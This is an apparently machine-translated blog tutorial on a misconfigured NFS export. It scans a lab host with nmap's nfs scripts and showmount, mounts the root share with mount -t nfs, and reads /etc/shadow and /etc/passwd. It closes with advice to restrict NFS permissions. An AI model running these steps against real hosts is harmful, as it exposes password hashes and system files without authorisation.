当前位置:网站首页>6-19 vulnerability exploitation -nsf to obtain the target password file
6-19 vulnerability exploitation -nsf to obtain the target password file
2022-07-26 17:32:00 【Mountain Rabbit 1】

nfs Introduce
NFS(Network File System) Network file system , yes FreeBSD One of the supported file systems , It allows computers in the network to pass through TCP/IP Network sharing resources . stay NFS The application of , Local NFS Client applications of can be accessed through TCP/IP The channel reads and writes transparently at the far end NFS Files on the server , It's like accessing a local file .
It and smb The effect is similar to , But its agreement is different , We can go through nmap Target detection IP Address , Check to see if it's on NFS service ,nfs It's usually 2049 port
nmap 192.168.1.105

nmap -p 2049 -sV 192.168.1.105

Detect its specific information , function TCP port ,nfs service , And versions
We already know that the goal is on NFS, This is the time , We are about to start using nfs Read files
Target detection nfs
nmap --script=nfs-* IP
// The asterisk loads all about nfs Detected script , To detect the corresponding target IP Address

In the process of our return , The notice is through rpcbind 111 port , To return ,nfs-showmount Show that you can escape by command , And its authority , Its contents in the directory ,nfs-statfs Show its size 、 Usage rate
nmap --script=nfs-* 192.168.42.137

Probe nfs Can I export
Except that it can be used nmap Judge nfs Can I export , We can also use showmount Command to determine “/” share ( The root of the file system ) Can I export to local . Installation may be required nfs-common The bag can only be used "showmount" command
apt-get install nfs-common
// install nfs-common package

showmount -e IP

/* Indicates the contents under the root directory , Can be exported
View the exported content
mkdir nfs_root
// Are you sure you want to export the new content
mount -t nfs IP Address :/ ~/nfs_root -o nolock
//-o nolock Without any treatment , Direct output
cat ~/nfs_root/etc/shadow
mkdir nfs_root
cd nfs_root/
mount -t nfs 192.168.42.137:/ ~/nfs_root -o nolock
cat ~/nfs-root/etc/shadow
cat ~/nfs-root/etc/passwd



We have successfully utilized nfs To configure , The corresponding information is exported , Read locally , thus , We found that nfs Improper configuration , It will lead to great hidden dangers , Because it can read , All the contents of our public system , We need to nfs Impose strict restrictions , bring , We cannot read arbitrary files , Only fixed shared files can be read , Do a good job in permission control
边栏推荐
- 常用超好用正则表达式!
- (24) the top menu of blender source code analysis shows code analysis
- Heavy announcement! Icml2022 Awards: 15 outstanding papers, selected by Fudan University, Xiamen University and Shanghai Jiaotong University
- Concepts and differences of DQL, DML, DDL and DCL
- 37.【重载运算符的类别】
- Is it safe for Huishang futures to open an account online? What is the account opening process?
- Oracle is slow to perform a large number of DML operations. Is it the problem of CPU or hard disk?
- 硬件开发与市场产业
- Pytest(思维导图)
- Pyqt5 rapid development and practice 3.2 introduction to layout management and 3.3 practical application of QT Designer
猜你喜欢

Heavy announcement! Icml2022 Awards: 15 outstanding papers, selected by Fudan University, Xiamen University and Shanghai Jiaotong University

【机器学习】Mean Shift原理及代码

CCS TM4C123新建工程

Machine learning - what are machine learning, supervised learning, and unsupervised learning

Realizing DDD based on ABP -- related concepts of DDD

Idea Alibaba cloud multi module deployment

#夏日挑战赛# OpenHarmony基于JS实现的贪吃蛇

GAN (Generative Adversarial Network,GAN)生成式对抗网络
![[basic course of flight control development 2] crazy shell · open source formation UAV - timer (LED flight information light and indicator light flash)](/img/ad/e0bc488c238a260768f7e7faec87d0.png)
[basic course of flight control development 2] crazy shell · open source formation UAV - timer (LED flight information light and indicator light flash)

Implementing DDD based on ABP -- aggregation and aggregation root practice
随机推荐
[development tutorial 8] crazy shell · open source Bluetooth heart rate waterproof sports Bracelet - triaxial meter pace
【OpenCV 例程 300篇】240. OpenCV 中的 Shi-Tomas 角点检测
What kind of product is the Jetson nano? (how about the performance of Jetson nano)
Linear regression from zero sum using mxnet
Environment setup mongodb
Pay attention to the traffic safety warning of tourism passenger transport issued by the Ministry of public security
Methods of path related comments (I)
浅谈数据技术人员的成长之路
Thoroughly uncover how epoll realizes IO multiplexing
图扑 3D 可视化国风设计 | 科技与文化碰撞炫酷”火花“
SQL injection (mind map)
Advantages of time series database and traditional database
[classification] vgg16 training record
UPC 2022 summer personal training game 07 (part)
Heavy! Zeng Xuezhong was promoted to vice chairman and CEO of zhanrui, and Chu Qingren was appointed as co CEO!
How to write plug-ins quickly with elisp
浅谈云原生边缘计算框架演进
My meeting of OA project (meeting seating & submission for approval)
Implement softmax classification from zero sum using mxnet
[Luogu cf643f] bears and juice (conclusion)